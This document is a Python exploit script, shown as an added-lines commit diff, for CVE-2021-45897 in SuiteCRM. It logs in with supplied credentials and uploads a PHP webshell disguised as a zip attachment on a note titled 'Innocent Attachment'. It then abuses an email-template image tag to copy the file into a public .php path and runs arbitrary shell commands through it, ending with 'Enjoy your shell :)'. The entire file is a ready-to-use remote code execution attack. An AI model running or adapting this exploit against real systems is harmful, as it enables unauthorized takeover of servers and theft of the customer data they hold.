1
+ #!/usr/bin/env python3
2
+
3
+ import requests
4
+ import click
5
+ import logging
6
+ from bs4 import BeautifulSoup
7
+
8
+ logging .basicConfig (level = logging .INFO )
9
+ logger = logging .getLogger ("CVE-2021-45897" )
10
+
11
+
12
+ @click .command ("CVE-2021-45897" ,
13
+ epilog = "https://github.com/manuelz120/CVE-2021-45897" )
14
+ @click .option (
15
+ "--host" ,
16
+ '-h' ,
17
+ default = "http://localhost" ,
18
+ help = "Root of SuiteCRM installation. Defaults to http://localhost" )
19
+ @click .option ("--username" , '-u' , prompt = "Username> " , help = "Username" )
20
+ @click .option ("--password" ,
21
+ '-p' ,
22
+ prompt = "Password> " ,
23
+ help = "password" ,
24
+ hide_input = True )
25
+ @click .option ("--payload" ,
26
+ '-P' ,
27
+ help = "Shell command to be executed on target system" ,
28
+ default = 'whoami' )
29
+ @click .option ("--is_core" ,
30
+ '-d' ,
31
+ default = False ,
32
+ help = "SuiteCRM Core (>= 8.0.0). Defaults to False" )
33
+ def main (host : str , username : str , password : str , payload : str , is_core : bool ):
34
+ host = f"{ host } /legacy" if is_core else host
35
+
36
+ session = requests .Session ()
37
+ login_response = session .post (f'{ host } /index.php' ,
38
+ data = {
39
+ "module" : "Users" ,
40
+ "action" : "Authenticate" ,
41
+ "user_name" : username ,
42
+ "username_password" : password ,
43
+ })
44
+
45
+ if "&action=Login" in login_response .url :
46
+ logger .error (
47
+ "Login didn't work. Are you sure you specified the correct parameters?"
48
+ )
49
+ exit (- 1 )
50
+
51
+ logger .info (f"Login did work - Planting webshell as Note" )
52
+
53
+ # Plan note with webshell payload
54
+ response = session .post (f'{ host } /index.php' ,
55
+ data = {
56
+ 'module' : 'Notes' ,
57
+ 'action' : 'Save' ,
58
+ 'isDuplicate' : 'false' ,
59
+ 'name' : 'Innocent Attachment' ,
60
+ 'return_module' : 'Notes' ,
61
+ 'return_action' : 'DetailView' ,
62
+ 'relate_to' : 'Notes' ,
63
+ 'offset' : 1 ,
64
+ 'parent_type' : 'Accounts' ,
65
+ 'deleteAttachment' : 0 ,
66
+ },
67
+ files = {
68
+ 'filename_file' :
69
+ ('exploit.zip' , open ('webshell.php' ,
70
+ 'rb' ), 'application/zip' )
71
+ },
72
+ headers = {'Referer' : host })
73
+
74
+ if "/legacy" in host :
75
+ note_id = response .text .split ('&return_id=' )[1 ].split ("'" )[0 ]
76
+ else :
77
+ note_id = response .text .split ('_form.return_id.value=' )[1 ].split (
78
+ "'" )[1 ]
79
+
80
+ if not note_id :
81
+ logger .error ("Failed to create note with malicious payload" )
82
+ exit (- 1 )
83
+
84
+ logger .info (f"Note with paylaod located @ { note_id } " )
85
+ extension = "php"
86
+
87
+ # Create email template to copy payload
88
+ base_host = host .replace ('/legacy' , '' )
89
+ email_template = f"<img src=\" { base_host } /index.php?entryPoint=download&type=Notes&id={ note_id } &filename=pwned.{ extension } \" />"
90
+ response = session .post (f'{ host } /index.php' ,
91
+ data = {
92
+ 'module' : 'EmailTemplates' ,
93
+ 'action' : 'Save' ,
94
+ 'name' : 'Pwned from script' ,
95
+ 'return_module' : 'EmailTemplates' ,
96
+ 'return_action' : 'index' ,
97
+ 'relate_to' : 'Notes' ,
98
+ 'offset' : 1 ,
99
+ 'text_only' : 0 ,
100
+ 'mce_0' : email_template ,
101
+ 'body_html' : email_template
102
+ },
103
+ headers = {'Referer' : host })
104
+
105
+ expected_payload_url = f"/public\/{ note_id } .{ extension } "
106
+
107
+ if expected_payload_url in response .text :
108
+ payload_url = f"{ host } /public/{ note_id } .{ extension } "
109
+ logger .info (f"Successfully planted payload at { payload_url } " )
110
+
111
+ logger .info (f"Verifying web shell by executing command: '{ payload } '" )
112
+
113
+ response = session .get (f"{ payload_url } " , params = {'cmd' : payload })
114
+ soup = BeautifulSoup (response .text , 'html.parser' )
115
+ result = soup .find (id = "output" ).string .strip ()
116
+
117
+ logger .info ("------ Starting command output ------" )
118
+ logger .info (result )
119
+ logger .info ("------ Ending command output ------" )
120
+ logger .info ("Enjoy your shell :)" )
121
+ else :
122
+ logger .error (
123
+ f"Something went wrong. Status code: { response .status_code } " )
124
+
125
+
126
+ if __name__ == "__main__" :
127
+ main ()
0 commit comments